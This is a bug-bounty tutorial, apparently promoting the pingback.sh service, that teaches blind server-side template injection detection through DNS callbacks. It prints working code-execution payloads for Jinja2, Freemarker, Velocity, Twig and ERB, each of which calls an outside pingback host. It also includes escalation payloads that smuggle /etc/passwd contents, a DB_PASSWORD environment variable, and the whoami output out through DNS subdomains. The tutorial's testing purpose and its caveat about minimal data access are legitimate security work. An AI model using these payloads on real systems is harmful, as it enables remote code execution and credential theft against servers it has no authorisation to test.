// What "blind" means here — and why it matters
Classic SSTI tutorials assume you can see the result. You inject {{7*7}}, the page renders 49, you confirm Jinja2, and escalate from there. Clean and satisfying.
Reality is messier. Modern apps frequently suppress template rendering errors, sanitize output before display, or route the template result into an email, a PDF, a log file, or a background job — none of which you can read. The injection is real. The output is invisible. Without an out-of-band channel, you have nothing to report.
{{7*7}} into a name field. The confirmation email you receive says "Hello, {{7*7}}" — the template was not evaluated on the frontend. But the backend PDF generator, the admin notification, or the audit log system may be evaluating it on a different code path, with a different (unpatched) template engine.
This is exactly where DNS exfiltration via pingback.sh turns a dead end into a confirmed critical finding.
// Anatomy of the technique
Identify injection points
Any user-controlled field that may be passed to a template engine: name, bio, subject line, custom message, filename, address, invoice notes, webhook description, notification template.
Inject a DNS-triggering payload
Instead of {{7*7}}, inject a payload that causes the template engine to perform a network lookup — specifically a DNS resolution of your pingback subdomain. Different engines have different syntax.
Listen on pingback.sh
Your subdomain is live as a DNS catch-all. Any lookup against it — regardless of whether HTTP follows — is captured and timestamped in your dashboard.
Trigger the backend code path
Submit the form, trigger the event, wait for the async job to run. The template engine evaluates your payload, the DNS lookup fires, pingback captures it. Zero visible output needed.
Match source IP → confirm engine → write report
The DNS hit's source IP belongs to the backend worker. The subdomain path in the query tells you which payload fired. You now have engine identification, execution confirmation, and a timestamped PoC.
// Engine identification — the polyglot first pass
Before crafting DNS payloads, you need to know which engine you're dealing with. Use this polyglot that triggers arithmetic differently depending on the engine — the result (if visible) or the DNS path that fires tells you which one:
# Polyglot probe — inject this first, one field at a time # If output is visible, the result identifies the engine: # 49 → Jinja2 / Twig (Python/PHP) # 7777777 → Freemarker (Java) # 49abc → Velocity (Java) # error → Smarty, Mako, or other ${{7*7}}${7*7}{{7*7}}#{7*7} # If no visible output → move to blind DNS payloads below
// The payloads — engine by engine
| Engine | Language / stack | Common in |
|---|---|---|
| Jinja2 | Python | Flask, Django templates, Ansible, SaltStack, Airflow |
| Freemarker | Java | Spring MVC (legacy), Alfresco, Liferay, older enterprise apps |
| Velocity | Java | Confluence (old), JIRA plugins, legacy Spring |
| Twig | PHP | Symfony, Craft CMS, Drupal, Bolt CMS |
| Pebble | Java | Jooby, Spark Java, some Spring Boot apps |
| ERB | Ruby | Rails views, Puppet, Chef templates |
Jinja2 (Python / Flask / Django)
# DNS lookup via socket module — no output needed {{self.__init__.__globals__.__builtins__.__import__('socket').getaddrinfo('jinja2.abc123.pingback.sh',80)}} # Shorter variant via lipsum global (available in Flask/Jinja2) {{lipsum.__globals__["os"].popen("nslookup jinja2.abc123.pingback.sh").read()}} # If __builtins__ is filtered — use request object (Flask only) {{request.application.__globals__.__builtins__.__import__('socket').getaddrinfo('jinja2.abc123.pingback.sh',80)}}
__builtins__ access — try the request object path, or escalate to testing the Django admin template renderer separately.
Freemarker (Java)
# freemarker.template.utility.Execute — classic RCE primitive # Use it to trigger a DNS lookup instead of executing commands <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("nslookup freemarker.abc123.pingback.sh")} # If Execute is restricted — try the ObjectWrapper path <#assign ob="java.lang.Runtime"?new()> ${ob.exec("nslookup freemarker.abc123.pingback.sh")} # Blind variant using URL class (no exec, just DNS resolution) <#assign url="http://freemarker.abc123.pingback.sh"?url> ${url.toURL().openConnection().connect()}
Velocity (Java)
# Velocity uses $class.inspect to access Java reflection #set($x=$class.inspect("java.lang.Runtime")) #set($rt=$x.type.getRuntime()) #set($proc=$rt.exec("nslookup velocity.abc123.pingback.sh")) $proc # Shorter — if $class is available #set($s="") #set($_=$s.class.forName("java.net.InetAddress").getByName("velocity.abc123.pingback.sh"))
Twig (PHP)
# Twig sandbox is strict — but in older/misconfigured Twig: {{["nslookup twig.abc123.pingback.sh"]|map("system")|join}} # Via filter chain — Twig < 1.20 {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("nslookup twig.abc123.pingback.sh")}} # DNS-only via file_get_contents (if not blocked by disable_functions) {{["twig.abc123.pingback.sh"]|map("dns_get_record")|join}}
ERB (Ruby / Rails)
# Direct system call <%= `nslookup erb.abc123.pingback.sh` %> # Via require + socket <%= require 'socket'; TCPSocket.new('erb.abc123.pingback.sh', 80) %> # Blind — no output captured, just DNS <% require 'resolv'; Resolv.getaddress('erb.abc123.pingback.sh') %>
jinja2., freemarker., etc.) before your pingback subdomain. When the DNS hit arrives, the query path tells you exactly which payload fired — critical when you're testing multiple engines and fields simultaneously.
// Reading your dashboard — what a hit looks like
Three things to note here. First, the hit came twice in rapid succession — that's DNS caching behavior: the first query is the actual resolution, the second is a retry from a different resolver. Both from the same internal IP 10.0.4.22 — a private range, confirming this is a backend worker, not a CDN or frontend proxy. Second, only jinja2. fired — Freemarker got no hit, telling you the engine is definitively Jinja2. Third, no HTTP hit followed — egress HTTP is likely filtered on this worker, but DNS isn't.
// Escalating from DNS to data exfiltration
A DNS hit confirms SSTI and is sufficient for a bug bounty report. But if the program asks for a higher-impact PoC — or if you want to demonstrate the full severity — DNS can carry data too. The trick: encode the data you want to exfiltrate as a subdomain label.
# Jinja2 — exfiltrate /etc/passwd first line via DNS subdomain # Read file → base32-encode → use as subdomain → pingback catches it {{ lipsum.__globals__["os"].popen( "nslookup $(cat /etc/passwd | head -1 | base32 | tr -d '=' | tr 'A-Z' 'a-z').exfil.abc123.pingback.sh" ).read() }} # Freemarker — exfiltrate environment variable (e.g. DB password) <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("nslookup $(echo $DB_PASSWORD | base32 | tr -d '=' | tr 'A-Z' 'a-z').exfil.abc123.pingback.sh")} # Velocity — exfiltrate current user running the app server #set($proc=$class.inspect("java.lang.Runtime").type.getRuntime().exec( "nslookup $(whoami).exfil.abc123.pingback.sh" ))
whoami or /etc/hostname is reasonable to demonstrate severity. Exfiltrating /etc/passwd, environment variables containing real credentials, or any user data crosses into unnecessary data access. Stop at the minimum needed to prove impact — programs will trust a DNS hit on whoami.exfil.your-subdomain.
In your pingback dashboard, the DNS query for the exfil payload will look like:
# What you see in the DNS query path: d3d3dy1kYXRh.exfil.abc123.pingback.sh # Decode it: $ echo d3d3dy1kYXRh | base32 -d www-data # The app server is running as www-data # You now have confirmed RCE + process user in your report
// Scoring the finding
// Writing the report
- Injection point — exact endpoint, HTTP method, parameter name. "POST /api/profile, field
display_name" not just "a form field". - Engine identified — state which engine fired the DNS hit. The subdomain prefix in the query is your evidence.
- Dashboard screenshot — show the DNS hit with timestamp, source IP (internal range = extra points), and query path. Annotate which payload it corresponds to.
- Async context — explain why the output isn't visible: "the field is rendered in a background email notification / PDF generator / admin audit log, not in the HTTP response". This is what justifies the blind technique.
- Severity justification — SSTI in an unsandboxed engine is a direct path to RCE. Cite the engine, cite the PoC execution primitives (
os.popen,Execute?new(), etc.), and explain what an attacker could do next.
// Why most scanners miss this
Automated scanners test for SSTI by injecting arithmetic payloads and looking for the computed result in the HTTP response. If the result doesn't appear in the response — because it's rendered asynchronously, written to a log, or processed in a different service — the scanner marks the parameter as clean.
This is why blind SSTI is consistently underreported despite being widespread. Any app that uses user-supplied input in notification emails, PDF exports, admin dashboards, or workflow automation templates is a candidate — and none of those render into the HTTP response you're proxying through Burp.